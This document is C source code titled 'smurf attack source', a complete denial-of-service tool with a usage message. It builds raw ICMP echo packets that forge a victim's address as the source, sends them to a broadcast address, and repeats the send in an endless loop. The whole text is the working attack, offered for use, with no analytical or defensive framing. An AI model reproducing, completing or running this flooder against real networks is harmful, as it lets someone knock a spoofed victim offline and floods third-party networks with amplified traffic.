smurf attack source

 * Copyright (c) 2011 Jae-young, Park <onurmark1@gmail.com>
 *
 * License: http://www.onurmark.co.kr/?page_id=48
 *
 * Please DON'T REMOVE THIS COMMENTS for any reuse or distribution.
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
 
#define PCKT_LEN 512
 
unsigned short csum(unsigned short *buf, int len)
{
    unsigned long sum;
 
    for (sum = 0; len > 0; len--)
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
 
    return (unsigned short)(~sum);
}
 
int main(int argc, char **argv)
{
    int s, i;
    char buffer[PCKT_LEN];
    struct iphdr *ipheader = (struct iphdr *)buffer;
    struct icmphdr *icmpheader = (struct icmphdr *)(buffer + sizeof(struct iphdr));
    struct sockaddr_in dst;
    int on;
 
    if (argc < 3) {
        printf("\nUsage: %s <spoofed saddress> <broadcast address>\n", argv[0]);
 
        exit(1);
    }
 
    on = 1;
    memset(buffer, 0x0, PCKT_LEN);
 
    if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        perror("Error: socket()");
        exit(1);
    }
 
    // Inform the kernel do not fill up the headers' structure, we fabricated our own
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
        perror("Error: setsockopt()");
        exit(1);
    }
 
    // Set use broadcast address
    if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
        perror("Error: setsockopt() - boradcast");
        exit(1);
    }
 
    // IP structure
    ipheader->version    = 4;
    ipheader->ihl        = sizeof(struct iphdr) >> 2;
    ipheader->tot_len    = htons(sizeof(struct iphdr) + sizeof(struct icmphdr));
    ipheader->ttl        = 128;
    ipheader->protocol   = IPPROTO_ICMP;
    ipheader->daddr      = inet_addr(argv[2]);
    ipheader->saddr      = inet_addr(argv[1]);
 
    dst.sin_family      = AF_INET;
    dst.sin_addr.s_addr = ipheader->daddr;
 
    // ICMP structure
    icmpheader->type             = ICMP_ECHO;
    icmpheader->code             = 0;
    icmpheader->un.echo.id           = 0xae23;
    icmpheader->un.echo.sequence = htons(1);
 
    // Checksum
    ipheader->check = csum((unsigned short *)buffer, (sizeof(struct iphdr) + sizeof(struct icmphdr)));
    icmpheader->checksum = csum((unsigned short *)icmpheader, sizeof(struct icmphdr));
 
    while(1) {
        if (sendto(s, buffer, sizeof(struct iphdr) + sizeof(struct icmphdr), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
            perror("sendto() error");
        }
    }
    close(s);
 
    return 0;
}